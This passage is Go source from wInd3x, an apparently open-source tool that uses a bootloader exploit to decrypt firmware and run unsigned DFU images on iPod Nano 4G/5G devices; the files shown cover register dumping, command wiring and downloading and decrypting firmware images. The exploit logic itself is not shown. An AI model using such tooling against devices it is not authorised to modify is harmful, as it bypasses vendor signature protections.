		{true, 7, 4, 0, "PCA"},
		{true, 7, 10, 6, "Cache Dirty Status"},

		{false, 9, 0, 0, "Data Cache Lockdown"},
		{false, 9, 0, 1, "Instruction Cache Lockdown"},
		{false, 9, 1, 0, "Data TCM Region"},
		{false, 9, 1, 1, "Instruction TCM Region"},
		{true, 9, 1, 2, "Data TCM Non-secure Control Access"},
		{true, 9, 1, 3, "Instruction TCM Non-secure Control Access"},
		{true, 9, 2, 0, "TCM Selection"},
		{true, 9, 8, 0, "Cache Behavior Override"},
	} {
		if el.only1176 && !is1176 {
			continue
		}
		// Ugly hack to skip some CP15 reads on Cortex A5 (N7G)
		// TODO(q3k): clean all of this up
		if partnum == 0xc05 && el.reg1 > 3 {
			continue
		}
		res, err := readCP15(app, el.reg1, el.reg2, el.opc2)
		fmt.Printf("  CP15 c%d,c%d,%d (%s): ", el.reg1, el.reg2, el.opc2, el.desc)
		if err != nil {
			fmt.Printf("error: %v\n", err)
		} else {
			fmt.Printf("%08x\n", res)
		}
	}
}

type peripheral struct {
	name      string
	registers []register
}

type register struct {
	name    string
	address uint32
	parse   func(v uint32)
}

var n3gates = map[int]string{
	0x00: "SHA",
	0x01: "LCD",
	0x02: "USBOTG",
	0x03: "SMx",
	0x04: "SM1",
	0x0A: "AES",
	0x08: "NAND",
	0x0C: "NANDECC",
	0x19: "DMAC0",
	0x1A: "DMAC1",
	0x1E: "ROM",
	0x22: "SPI0",
	0x23: "USBPHY",
	0x2B: "SPI1",
	0x2C: "GPIO",
	0x2E: "CHIPID",
	0x2F: "SPI2",
}

func printN3Gates(v uint32) {
	var gates []string
	for i := 0; i < 32; i++ {
		if (v & (1 << i)) == 0 {
			gate := n3gates[i]
			if gate == "" {
				gate = fmt.Sprintf("%d", i)
			}
			gates = append(gates, gate)
		}
	}
	fmt.Printf("%08x, %s\n", v, strings.Join(gates, ","))
}

var peripherals = map[devices.Kind][]peripheral{
	devices.Nano5: []peripheral{
		{name: "CHIPID", registers: []register{
			// eg. 00000001
			{name: "CID_VALID", address: 0x3d10_0000},
			// eg. 19000011
			{name: "CHIPIDL", address: 0x3d10_0004},
			// eg. 8730000b
			{name: "CHIPIDH", address: 0x3d10_0008},
			{name: "DIEIDL", address: 0x3d10_000C},
			{name: "DIEIDH", address: 0x3d10_0010},
			// eg. 00000004
			{name: "ECID_VERSION", address: 0x3d10_0014},
		}},
	},
	devices.Nano3: []peripheral{
		{name: "CLKGEN", registers: []register{
			{name: "CLKCON0", address: 0x3c50_0000},
			{name: "CLKCON1", address: 0x3c50_0004},
			{name: "CLKCON2", address: 0x3c50_0008},
			{name: "CLKCON3", address: 0x3c50_000C},
			{name: "CLKCON4", address: 0x3c50_0010},
			{name: "CLKCON5", address: 0x3c50_0014},

			{name: "PLL0PMS", address: 0x3c50_0020},
			{name: "PLL1PMS", address: 0x3c50_0024},
			{name: "PLL2PMS", address: 0x3c50_0028},

			{name: "PLLCNT0", address: 0x3c50_0030},
			{name: "PLLCNT1", address: 0x3c50_0034},
			{name: "PLLCNT2", address: 0x3c50_0038},

			{name: "PLLLOCK", address: 0x3c50_0040},
			{name: "PLLMODE", address: 0x3c50_0044},

			{name: "GATES0", address: 0x3c50_0048, parse: func(v uint32) {
				printN3Gates(v)
			}},
			{name: "GATES1", address: 0x3c50_004C, parse: func(v uint32) {
				printN3Gates(v + 0x20)
			}},
			{name: "SWRCON", address: 0x3c50_0050},
			{name: "RSTSR", address: 0x3c50_0054},
			{name: "PWRCON2", address: 0x3c50_0058},
			{name: "PWRMOD2", address: 0x3c50_0060},
			{name: "PWRCON3", address: 0x3c50_0068},
			{name: "PWRCON4", address: 0x3c50_006c},
		}},
		{name: "WATCHDOG", registers: []register{
			{name: "WDTCON", address: 0x3c80_0000},
			{name: "WDTCNT", address: 0x3c80_0004},
		}},
		{name: "CHIPID", registers: []register{
			{name: "CHIPIDUNK", address: 0x3d10_0000},
			// eg. 84000019
			{name: "CHIPIDL", address: 0x3d10_0004},
			// eg. 00008702
			{name: "CHIPIDH", address: 0x3d10_0008},
			{name: "DIEIDL", address: 0x3d10_000C},
			{name: "DIEIDH", address: 0x3d10_0010},
		}},
		{name: "EDGEIC", registers: []register{
			{name: "UNK0", address: 0x38e0_2000},
			{name: "UNK4", address: 0x38e0_2004},
			{name: "UNK8", address: 0x38e0_2008},
			{name: "UNKC", address: 0x38e0_200c},
		}},
		// Named per N3G/N4G rockbox branch.
		{name: "SYSALV", registers: []register{
			{name: "ALVCON", address: 0x39a0_0000},
			{name: "ALVUNK4", address: 0x39a0_0004},
			{name: "ALVUNK100", address: 0x39a0_0100},
			{name: "ALVUNK104", address: 0x39a0_0104},

			{name: "ALVTCOM", address: 0x39a0_006c},
			{name: "ALVTEND", address: 0x39a0_0070},
			{name: "ALVTDIV", address: 0x39a0_0074},
			{name: "ALVTCNT", address: 0x39a0_0078},
			{name: "ALVTSTAT", address: 0x39a0_007c},
		}},
	},
}

var spewCmd = &cobra.Command{
	Use:   "spew",
	Short: "Display information about the connected device",
	Long:  "Displays SysCfg, GPIO, ... info from the connected device. Useful for reverse engineering and development.",
	Args:  cobra.ExactArgs(0),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		fmt.Println("\nCP15")
		fmt.Println("----")

		dumpCP15(&app.App)

		fmt.Println("\nCP14 (debug)")
		fmt.Println("----")

		fmt.Printf("  DIDR: ")
		didr, err := readCP14(&app.App, 0, 0)
		if err != nil {
			fmt.Printf("error: %v\n", err)
		} else {
			// 0x1512_1004
			// Watchpoint pairs: 1
			// Breakpoint pairs: 5
			// Breakpoint pairs with context ID: 1
			// Debug architecture: 2 (v6.1)
			// Trustzone Features
			// Revision: 4, Variant: 0,
			fmt.Printf("0x%08x\n", didr)
		}

		fmt.Printf("  DSCR: ")
		dscr, err := readCP14(&app.App, 0, 1)
		if err != nil {
			fmt.Printf("error: %v\n", err)
		} else {
			// 0x0000_0002
			fmt.Printf("0x%08x\n", dscr)
		}

		fmt.Println("\nSysCfg")
		fmt.Println("------")

		syscfgBuf := bytes.NewBuffer(nil)
		err = readNOR(&app.App, syscfgBuf, 0, 0, 0x100)
		if err != nil {
			fmt.Printf("Failed to read syscfg: %v\n", err)
		} else {

			scfg, err := syscfg.Parse(syscfgBuf)
			if err != nil {
				return fmt.Errorf("failed to parse syscfg: %w", err)
			}
			scfg.Debug(os.Stdout)
		}

		for _, p := range peripherals[app.Desc.Kind] {
			fmt.Printf("\n%s\n", p.name)
			fmt.Printf("%s\n", strings.Repeat("-", len(p.name)))
			for _, reg := range p.registers {
				data, err := readFrom(&app.App, reg.address)
				fmt.Printf("  %s: ", reg.name)
				if err != nil {
					fmt.Printf("error: %v\n", err)
				} else {
					var u32 uint32
					binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &u32)
					if reg.parse != nil {
						reg.parse(u32)
					} else {
						fmt.Printf("%08x\n", u32)
					}
				}
			}
		}

		fmt.Println("\nGPIO")
		fmt.Println("----")

		fmt.Printf("                     01234567\n")
		// TODO: parametrize this per generation? Or are we lucky and the GPIO
		// periphs are always at the same addrs?
		for i := 0; i < 16; i++ {
			addr := 0x3cf0_0000 + i*0x20
			data, err := readFrom(&app.App, uint32(addr))
			if err != nil {
				return fmt.Errorf("could not read GPIO %d: %w", i, err)
			}
			buf := bytes.NewBuffer(data)
			var con, dat uint32
			binary.Read(buf, binary.LittleEndian, &con)
			binary.Read(buf, binary.LittleEndian, &dat)

			state := ""
			dir := ""
			for j := 0; j < 8; j++ {
				if ((dat >> j) & 1) == 1 {
					state += "H"
				} else {
					state += "_"
				}

				c := (con >> (j * 4)) & 0xf
				switch c {
				case 0:
					dir += "i"
				case 1:
					dir += "O"
				case 2, 3, 4, 5, 6:
					dir += fmt.Sprintf("%d", c) // alternate function
				default:
					dir += "?"
				}
			}
			fmt.Printf("GPIO %03d-%03d: state: %s\n", i*8, i*8+7, state)
			fmt.Printf("                dir: %s\n", dir)
		}

		return nil
	},
}


================================================
FILE: cmd/wInd3x/main.go
================================================
package main

import (
	"flag"
	"fmt"
	"log/slog"
	"strconv"
	"strings"

	"github.com/spf13/cobra"
	"github.com/spf13/pflag"
)

var rootCmd = &cobra.Command{
	Use:   "wInd3x",
	Short: "wInd3x is an exploit tool for the iPod Nano 4G/5G",
	Long: `Allows to decrypt firmware files, generate DFU images and run unsigned DFU
images on the Nano 4G/5G.

Copyright 2022 q3k, user890104. With help from zizzy and d42.

wInd3x comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
welcome to redistribute it under certain conditions; see COPYING file
accompanying distribution for details.`,
	SilenceUsage: true,
}

var verboseLog bool

func main() {
	slog.SetLogLoggerLevel(slog.LevelDebug)

	makeDFUCmd.Flags().StringVarP(&makeDFUEntrypoint, "entrypoint", "e", "0x0", "Entrypoint offset for image (added to load address == 0x2200_0000)")
	makeDFUCmd.Flags().StringVarP(&makeDFUDeviceKind, "kind", "k", "", "Device kind (one of 'n4g', 'n5g')")
	decryptCmd.Flags().StringVarP(&decryptRecovery, "recovery", "r", "", "EXPERIMENTAL: Path to temporary file used for recovery when restarting the transfer")
	restoreCmd.Flags().BoolVarP(&restoreFull, "full", "f", false, "Perform full restore, including repartition and bootloader install. If true, you will have to manually reformat the main partition as FAT32, otherwise the device will seem bricked.")
	restoreCmd.Flags().StringVarP(&restoreVersion, "version", "V", "current", "Restore to some older version instead of 'current' from Apple. Use 'list' to show available.")
	mseExtractCmd.Flags().StringVarP(&extractDir, "out", "o", "", "Directory to extract to (default: current working directory)")
	rootCmd.CompletionOptions.DisableDefaultCmd = true
	rootCmd.PersistentFlags().BoolVarP(&verboseLog, "verbose", "v", false, "Enable verbose debug logging")
	rootCmd.AddCommand(haxDFUCmd)
	rootCmd.AddCommand(runCmd)
	rootCmd.AddCommand(makeDFUCmd)
	rootCmd.AddCommand(dumpCmd)
	rootCmd.AddCommand(decryptCmd)
	nandCmd.AddCommand(nandReadCmd)
	nandCmd.AddCommand(nandIdentifyCmd)
	rootCmd.AddCommand(nandCmd)
	norCmd.AddCommand(norReadCmd)
	rootCmd.AddCommand(norCmd)
	rootCmd.AddCommand(spewCmd)
	cfwCmd.AddCommand(cfwRunCmd)
	cfwCmd.AddCommand(cfwSuperdiagsCmd)
	rootCmd.AddCommand(cfwCmd)
	rootCmd.AddCommand(restoreCmd)
	mseCmd.AddCommand(mseExtractCmd)
	rootCmd.AddCommand(mseCmd)
	rootCmd.AddCommand(downloadCmd)
	rootCmd.Execute()
}

func init() {
	pflag.CommandLine.AddGoFlagSet(flag.CommandLine)
}

func parseNumber(s string) (uint32, error) {
	var err error
	var res uint64
	if strings.HasPrefix(strings.ToLower(s), "0x") {
		res, err = strconv.ParseUint(s[2:], 16, 32)
		if err != nil {
			return 0, fmt.Errorf("invalid number")
		}
	} else {
		res, err = strconv.ParseUint(s, 10, 32)
		if err != nil {
			res, err = strconv.ParseUint(s, 16, 32)
			if err != nil {
				return 0, fmt.Errorf("invalid number")
			}
		}
	}
	return uint32(res), nil
}


================================================
FILE: default.nix
================================================
{ system ? builtins.currentSystem, ... }:

let
  nixpkgsCommit = "8f3e1f807051e32d8c95cd12b9b421623850a34d";
  nixpkgsSrc = fetchTarball {
    url = "https://github.com/NixOS/nixpkgs/archive/${nixpkgsCommit}.tar.gz";
    sha256 = "sha256:1cpsxhm3fwsyf5shr35kirj1ajz8iy601q37xi3ma4f8dxd4vagy";
  };
  nixpkgs = import nixpkgsSrc { inherit system; };

in with nixpkgs;

buildGoModule {
  name = "wInd3x";
  src = ./.;

  buildInputs = [ libusb1 ];
  nativeBuildInputs = [ pkg-config ];

  checkPhase = "true";

  vendorHash = "sha256-Is7FCtoKmC/B2ktuysNHoxXUP+TPRs/0C2ZzdKgq0rE=";
}


================================================
FILE: go.mod
================================================
module github.com/freemyipod/wInd3x

go 1.23.0

toolchain go1.23.3

require (
	github.com/adrg/xdg v0.4.0
	github.com/google/gousb v1.1.1
	github.com/hashicorp/go-multierror v1.1.1
	github.com/spf13/cobra v1.5.0
	github.com/spf13/pflag v1.0.5
	github.com/tetratelabs/wazero v1.0.0-pre.1
	github.com/ulikunitz/xz v0.5.12
	golang.org/x/exp v0.0.0-20250305212735-054e65f0b394
	howett.net/plist v1.0.0
)

require (
	github.com/hashicorp/errwrap v1.0.0 // indirect
	github.com/inconshreveable/mousetrap v1.0.0 // indirect
	golang.org/x/sys v0.0.0-20220412211240-33da011f77ad // indirect
)

// Necessary for https://github.com/DHowett/go-plist/pull/76
replace howett.net/plist v1.0.0 => github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602


================================================
FILE: go.sum
================================================
github.com/adrg/xdg v0.4.0 h1:RzRqFcjH4nE5C6oTAxhBtoE2IRyjBSa62SCbyPidvls=
github.com/adrg/xdg v0.4.0/go.mod h1:N6ag73EX4wyxeaoeHctc1mas01KZgsj5tYiAIwqJE/E=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/gousb v1.1.1 h1:2sjwXlc0PIBgDnXtNxUrHcD/RRFOmAtRq4QgnFBE6xc=
github.com/google/gousb v1.1.1/go.mod h1:b3uU8itc6dHElt063KJobuVtcKHWEfFOysOqBNzHhLY=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602 h1:8iSS1t8iFP3T18RV4LQPVsnWzVjvOEbzk2OHCCstIZE=
github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/tetratelabs/wazero v1.0.0-pre.1 h1:bUZ4vf21c36RmgA3enNOlLgPElEVDYoRJJ9+McRGF6Q=
github.com/tetratelabs/wazero v1.0.0-pre.1/go.mod h1:M8UDNECGm/HVjOfq0EOe4QfCY9Les1eq54IChMLETbc=
github.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc=
github.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 h1:nDVHiLt8aIbd/VzvPWN6kSOPE7+F/fNFDSXLVYkE/Iw=
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394/go.mod h1:sIifuuw/Yco/y6yb6+bDNfyeQ/MdPUy/hKEMYQV17cM=
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220412211240-33da011f77ad h1:ntjMns5wyP/fN65tdBD4g8J5w8n015+iIIs9rtjXkY0=
golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=


================================================
FILE: pkg/app/app.go
================================================
package app

import (
	"fmt"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/exploit"
)

type App struct {
	Usb           devices.Usb
	InterfaceKind devices.InterfaceKind
	Desc          *devices.Description
	Ep            exploit.Parameters

	MSEndpoints devices.UsbMsEndpoints
}

func (a *App) Close() error {
	if err := a.Usb.Close(); err != nil {
		return fmt.Errorf("when closing usb: %w", err)
	}
	return nil
}

// PrepareUSB sets up the correct interface based on the selected interface kind
// and runs any exploit preparation code (for eg. s5late compat).
func (a *App) PrepareUSB() error {
	switch a.InterfaceKind {
	case devices.DFU, devices.WTF:
		if err := a.Usb.UseDefaultInterface(); err != nil {
			return fmt.Errorf("UseDefaultInterface: %w", err)
		}
	case devices.Disk:
		ep, err := a.Usb.UseDiskInterface()
		if err != nil {
			return fmt.Errorf("UseDiskInterface: %w", err)
		}
		a.MSEndpoints = ep
	}

	if a.InterfaceKind == devices.DFU {
		if err := a.Ep.Prepare(a.Usb); err != nil {
			return fmt.Errorf("failed to prepare exploit: %w", err)
		}
	}
	return nil
}


================================================
FILE: pkg/cache/cache.go
================================================
package cache

import (
	"archive/zip"
	"bytes"
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"io"
	"io/ioutil"
	"log/slog"
	"net/http"
	"net/url"
	"os"
	"path"
	"path/filepath"
	"regexp"
	"strings"

	"github.com/adrg/xdg"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/cfw"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/exploit/decrypt"
	"github.com/freemyipod/wInd3x/pkg/image"
	"github.com/freemyipod/wInd3x/pkg/mse"
)

type FS interface {
	ReadFile(path string) ([]byte, error)
	WriteFile(path string, data []byte) error
	Remove(path string) error
	Exists(path string) (bool, error)
}

type hostPathStore struct {
	root string
}

var Store FS = &hostPathStore{path.Join(xdg.DataHome, "wInd3x")}

func (h *hostPathStore) ReadFile(p string) ([]byte, error) {
	return os.ReadFile(path.Join(h.root, p))
}

func (h *hostPathStore) WriteFile(p string, data []byte) error {
	p = path.Join(h.root, p)
	parent := filepath.Dir(p)
	os.MkdirAll(parent, 0755)

	return os.WriteFile(p, data, 0644)
}

func (h *hostPathStore) Remove(p string) error {
	return os.Remove(path.Join(h.root, p))
}

func (h *hostPathStore) Exists(p string) (bool, error) {
	_, err := os.Stat(path.Join(h.root, p))
	if err == nil {
		return true, nil
	}
	if os.IsNotExist(err) {
		return false, nil
	}
	return false, err
}

var ReverseProxy *url.URL

type PayloadKind string

const (
	PayloadKindWTFUpstream       PayloadKind = "wtf-upstream"
	PayloadKindWTFDecrypted      PayloadKind = "wtf-decrypted"
	PayloadKindWTFDecryptedCache PayloadKind = "wtf-decrypted-cache"
	PayloadKindWTFDefanged       PayloadKind = "wtf-defanged"

	PayloadKindRecoveryUpstream PayloadKind = "recovery-upstream"

	PayloadKindFirmwareUpstream PayloadKind = "firmware-upstream"

	PayloadKindBootloaderUpstream       PayloadKind = "bootloader-upstream"
	PayloadKindBootloaderDecrypted      PayloadKind = "bootloader-decrypted"
	PayloadKindBootloaderDecryptedCache PayloadKind = "bootloader-decrypted-cache"

	PayloadKindRetailOSUpstream       PayloadKind = "retailos-upstream"
	PayloadKindRetailOSDecrypted      PayloadKind = "retailos-decrypted"
	PayloadKindRetailOSCustomized     PayloadKind = "retailos-customized"
	PayloadKindRetailOSDecryptedCache PayloadKind = "retailos-decrypted-cache"

	PayloadKindDiagsUpstream       PayloadKind = "diags-upstream"
	PayloadKindDiagsDecrypted      PayloadKind = "diags-decrypted"
	PayloadKindDiagsDecryptedCache PayloadKind = "diags-decrypted-cache"

	PayloadKindJingleXML PayloadKind = "jinglexml"
)

type GetOption struct {
	Progress func(float32)
}

type downloadMonitor struct {
	done         uint
	total        uint
	prevCallback float32
	callback     func(float32)
}

func (d *downloadMonitor) Write(data []byte) (int, error) {
	d.done += uint(len(data))
	percent := float32(d.done) / float32(d.total)
	if percent != d.prevCallback && d.callback != nil {
		d.callback(percent)
		d.prevCallback = percent
	}
	return len(data), nil
}

func getPayloadFromPhobosIPSW(pk PayloadKind, dk devices.Kind, urlStr string, options ...GetOption) error {
	var progress func(float32) = nil
	for _, option := range options {
		if option.Progress != nil {
			progress = option.Progress
		}
	}
	slog.Info("Downloading IPSW...", "kind", pk, "url", urlStr)

	u, err := url.Parse(urlStr)
	if err != nil {
		return fmt.Errorf("could not parse URL %q: %w", urlStr, err)
	}
	if ReverseProxy != nil {
		u.Host = ReverseProxy.Host
		u.Scheme = ReverseProxy.Scheme
	}

	resp, err := http.Get(u.String())
	if err != nil {
		return fmt.Errorf("could not download IPSW: %w", err)
	}

	dlMonitor := &downloadMonitor{
		total:    uint(resp.ContentLength),
		callback: progress,
	}
	body, err := io.ReadAll(io.TeeReader(resp.Body, dlMonitor))
	if err != nil {
		return fmt.Errorf("could not download IPSW: %w", err)
	}
	z, err := zip.NewReader(bytes.NewReader(body), int64(len(body)))
	if err != nil {
		return fmt.Errorf("could not parse IPSW: %w", err)
	}

	var want *regexp.Regexp
	switch pk {
	case PayloadKindWTFUpstream:
		want = regexp.MustCompile(`^firmware/dfu/wtf.*release\.dfu$`)
	case PayloadKindRecoveryUpstream:
		want = regexp.MustCompile(`^firmware/dfu/firmware.*release\.dfu$`)
	case PayloadKindFirmwareUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:
		want = regexp.MustCompile(`^firmware.*$`)
	case PayloadKindBootloaderUpstream:
		want = regexp.MustCompile(`^n.*\.bootloader.*\.rb3$`)
	default:
		return fmt.Errorf("don't know file path for %s", pk)
	}
	var fname string
	for _, f := range z.File {
		if want.MatchString(strings.ToLower(f.Name)) {
			fname = f.Name
		}
	}
	if fname == "" {
		return fmt.Errorf("expected file not found in IPSW")
	}
	f, err := z.Open(fname)
	if err != nil {
		return fmt.Errorf("could not open %q in IPSW: %w", fname, err)
	}
	data, err := ioutil.ReadAll(f)
	if err != nil {
		return fmt.Errorf("could not read %q from IPSW: %w", fname, err)
	}

	switch pk {
	case PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:
		m, err := mse.Parse(bytes.NewReader(data))
		if err != nil {
			return fmt.Errorf("could not parse firmware: %w", err)
		}
		fname := ""
		switch pk {
		case PayloadKindRetailOSUpstream:
			fname = "osos"
		case PayloadKindDiagsUpstream:
			fname = "diag"
		}
		mf := m.FileByName(fname)
		if mf == nil {
			return fmt.Errorf("no %q in firmware", fname)
		}
		data = mf.Data
	}

	fspath := pathFor(&dk, pk, urlStr)
	if err := Store.WriteFile(fspath, data); err != nil {
		return fmt.Errorf("could not write: %w", err)
	}
	return nil
}

func getBootloaderDecrypted(app *app.App, options ...GetOption) error {
	var progress func(float32) = nil
	for _, option := range options {
		if option.Progress != nil {
			progress = option.Progress
		}
	}

	encrypted, err := Get(app, PayloadKindBootloaderUpstream)
	if err != nil {
		return err
	}
	img1, err := image.Read(bytes.NewReader(encrypted))
	if err != nil {
		return fmt.Errorf("could not parse WTF IMG1: %w", err)
	}

	recovery := pathFor(&app.Desc.Kind, PayloadKindBootloaderDecryptedCache, "")

	var decryptOptions []decrypt.Option
	if progress != nil {
		decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})
	}
	decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)
	if err != nil {
		return fmt.Errorf("could not decrypt bootloader: %w", err)
	}

	wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)
	if err != nil {
		return fmt.Errorf("could not re-pack decrypted bootloader: %w", err)
	}

	fspath := pathFor(&app.Desc.Kind, PayloadKindBootloaderDecrypted, "")
	if err := Store.WriteFile(fspath, wrapper); err != nil {
		return fmt.Errorf("could not write bootloader: %w", err)
	}
	Store.Remove(recovery)
	return nil
}

func getWTFDecrypted(app *app.App, options ...GetOption) error {
	var progress func(float32) = nil
	for _, option := range options {
		if option.Progress != nil {
			progress = option.Progress
		}
	}

	encrypted, err := Get(app, PayloadKindWTFUpstream)
	if err != nil {
		return err
	}
	img1, err := image.Read(bytes.NewReader(encrypted))
	if err != nil {
		return fmt.Errorf("could not parse WTF IMG1: %w", err)
	}

	recovery := pathFor(&app.Desc.Kind, PayloadKindWTFDecryptedCache, "")

	var decryptOptions []decrypt.Option
	if progress != nil {
		decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})
	}
	decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)
	if err != nil {
		return fmt.Errorf("could not decrypt WTF: %w", err)
	}

	wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)
	if err != nil {
		return fmt.Errorf("could not re-pack decrypted WTF: %w", err)
	}

	fspath := pathFor(&app.Desc.Kind, PayloadKindWTFDecrypted, "")
	if err := Store.WriteFile(fspath, wrapper); err != nil {
		return fmt.Errorf("could not write WTF: %w", err)
	}
	Store.Remove(recovery)
	return nil
}

func getRetailOSDecrypted(app *app.App, options ...GetOption) error {
	var progress func(float32) = nil
	for _, option := range options {
		if option.Progress != nil {
			progress = option.Progress
		}
	}

	encrypted, err := Get(app, PayloadKindRetailOSUpstream)
	if err != nil {
		return err
	}
	img1, err := image.Read(bytes.NewReader(encrypted))
	if err != nil {
		return fmt.Errorf("could not parse RetailOS IMG1: %w", err)
	}

	recovery := pathFor(&app.Desc.Kind, PayloadKindRetailOSDecryptedCache, "")

	var decryptOptions []decrypt.Option
	if progress != nil {
		decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})
	}
	decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)
	if err != nil {
		return fmt.Errorf("could not decrypt RetailOS: %w", err)
	}

	wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)
	if err != nil {
		return fmt.Errorf("could not re-pack decrypted RetailOS: %w", err)
	}

	fspath := pathFor(&app.Desc.Kind, PayloadKindRetailOSDecrypted, "")
	if err := Store.WriteFile(fspath, wrapper); err != nil {
		return fmt.Errorf("could not write RetailOS: %w", err)
	}
	Store.Remove(recovery)
	return nil
}

func getDiagsDecrypted(app *app.App, options ...GetOption) error {
	var progress func(float32) = nil
	for _, option := range options {
		if option.Progress != nil {
			progress = option.Progress
		}
	}

	encrypted, err := Get(app, PayloadKindDiagsUpstream)
	if err != nil {
		return err
	}
	img1, err := image.Read(bytes.NewReader(encrypted))
	if err != nil {
		return fmt.Errorf("could not parse diag IMG1: %w", err)
	}

	recovery := pathFor(&app.Desc.Kind, PayloadKindDiagsDecryptedCache, "")

	var decryptOptions []decrypt.Option
	if progress != nil {
		decryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})
	}
	decrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)
	if err != nil {
		return fmt.Errorf("could not decrypt diag: %w", err)
	}

	wrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)
	if err != nil {
		return fmt.Errorf("could not re-pack decrypted diag: %w", err)
	}

	fspath := pathFor(&app.Desc.Kind, PayloadKindDiagsDecrypted, "")
	if err := Store.WriteFile(fspath, wrapper); err != nil {
		return fmt.Errorf("could not write diag: %w", err)
	}
	Store.Remove(recovery)
	return nil
}

